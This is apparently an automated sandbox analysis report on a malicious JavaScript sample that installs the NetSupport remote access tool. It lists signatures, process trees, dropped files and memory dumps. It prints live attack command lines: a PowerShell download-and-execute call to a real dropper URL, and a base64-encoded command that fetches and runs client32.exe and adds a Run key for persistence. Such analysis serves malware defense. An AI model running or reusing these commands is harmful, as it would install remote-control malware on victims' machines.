Analysis
- max time kernel
147s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
05/03/2024, 02:40
General
- Target b9a5609f1393d9bd4122adeb4bc317c58060aa898394382449a09345d80c5c4d.js
- Size 60KB
- Sample240305-c6c26adb53
- SHA256 b9a5609f1393d9bd4122adeb4bc317c58060aa898394382449a09345d80c5c4d
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://compactgrill.hu/care.txt
Extracted
-
ps1
-
exe.dropper
http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 5 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\b9a5609f1393d9bd4122adeb4bc317c58060aa898394382449a09345d80c5c4d.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
HTCTL32.DLL
NSM.LIC
PCICAPI.dll
PCICL32.dll
client32.exe
client32.ini
msvcr100.dll
pcichek.dll
__PSScriptPolicyTest_xxcg45hf.ljn.ps1
memory/1536-29-0x00007FF8B84B0000-0x00007FF8B8F71000-memory.dmp
memory/1536-27-0x0000020776F10000-0x0000020776F20000-memory.dmp
memory/1536-31-0x000002075E770000-0x000002075E782000-memory.dmp
memory/1536-32-0x000002075E760000-0x000002075E76A000-memory.dmp
memory/1536-28-0x0000020776F10000-0x0000020776F20000-memory.dmp
memory/1536-22-0x00007FF8B84B0000-0x00007FF8B8F71000-memory.dmp
memory/1536-85-0x00007FF8B84B0000-0x00007FF8B8F71000-memory.dmp
memory/3588-15-0x000002366D390000-0x000002366D3A0000-memory.dmp
memory/3588-14-0x000002366D390000-0x000002366D3A0000-memory.dmp
memory/3588-13-0x00007FF8B84B0000-0x00007FF8B8F71000-memory.dmp
memory/3588-12-0x000002366D390000-0x000002366D3A0000-memory.dmp
memory/3588-11-0x000002366D390000-0x000002366D3A0000-memory.dmp
memory/3588-16-0x000002366D390000-0x000002366D3A0000-memory.dmp
memory/3588-10-0x00007FF8B84B0000-0x00007FF8B8F71000-memory.dmp
memory/3588-5-0x000002366CD60000-0x000002366CD82000-memory.dmp
memory/3588-89-0x00007FF8B84B0000-0x00007FF8B8F71000-memory.dmp